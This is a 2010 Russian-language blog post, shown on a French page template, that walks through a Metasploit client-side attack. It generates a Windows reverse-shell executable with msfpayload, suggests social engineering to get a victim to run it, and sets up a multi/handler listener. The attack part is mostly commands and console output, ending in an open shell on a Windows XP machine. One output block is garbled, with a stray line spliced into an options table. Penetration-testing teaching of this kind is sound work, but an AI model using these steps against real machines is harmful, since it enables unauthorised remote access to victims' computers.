samedi 27 mars 2010

Client-side attacks

Эксплуатирование уязвимостей на стороне клиента.

Эксплуатирование уязвимостей на стороне клиента, является основным фронтом атак на сегодня. Так как сетевые администраторы и разработчики программного обеспечения стремятся укрепить периметр, пентестерам необходимо найти способ заставить жертву открыть двери для них попасть в сеть. Client-side техника нападения основывается на доверчивости пользователей проявляющихся в таких случаях, как открыть неизвестную ссылку или документ, посещение вредоносного сайта.

Есть много различных способов использования Metasploit для выполнения нападений на стороне клиента и мы покажем несколько из них.

Binary Payloads.

Metasploit полон интересных и полезных функций. Одной из них является способность генерировать исполняемые модули с полезной нагрузкой Metasploit. Это может быть очень полезно в ситуациях, таких, как социальная инженерия, вы можете «спровоцировать» пользователя запустить такой файл и получить доступ к машине.
Давайте посмотрим на примере, как это сделать. Мы будем генерировать полезную нагрузку обратной оболочки(reverse shell), выполним его на удаленной системе, и получим shell. Для этого используем утилиту командной строки msfpayload. Эта команда используется для создания полезной нагрузки и будет задействована во многих случаях. Для нас представляет интерес исполняемый файл на выходе, созданный командой X, для запуска на удаленной системе. Мы создадим «реверс-шелл», который будет подсоединятся к нашей машине с прослушиваемым портом 31337. Обратите внимание, что msfpayload работает так же, как msfcli в который можно добавить букву 'O' в конец командной строки, чтобы увидеть, какие из опций доступны.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444

root@bt:/pentest/exploits/framework3# file /tmp/1.exe

/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST 172.16.104.130 yes The local address
LPORT 31337 yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 287
Options: LHOST=172.16.104.130,LPORT=31337

root@bt:/pentest/exploits/framework3# file /tmp/1.exe

/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Ок, теперь исполняемый файл Windows готов к работе и в случае запуска на удаленном хосте предоставит нам shell. Дальше мы используем 'multi/handler', который является неким «эксплоитом-трансформером», который нужно настроить под нашу цель для прослушивания порта ожидающего входящие соединения от пользователя который запустил наш файл.

root@bt4:/pentest/exploits/framework3# ./msfconsole

## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##


=[ msf v3.3-dev
+ -- --=[ 371 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 149 aux

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Exploit target:

Id Name
-- ----
0 Wildcard Target

При использовании модуля 'exploit/multi/handler' нам нужно указать какую полезную нагрузку мы хотим задействовать и задать все необходимые опции.

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >

Теперь, когда все установлено и готово, командуем 'exploit', для запуска multi/handler . multi/handler прослушивает заданный порт и в случае запуска подготовленного файла на стороне удаленного пользователя предоставляет нам shell.

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>

Э_L_A_Y c brutforcer.ru

Aucun commentaire:

Enregistrer un commentaire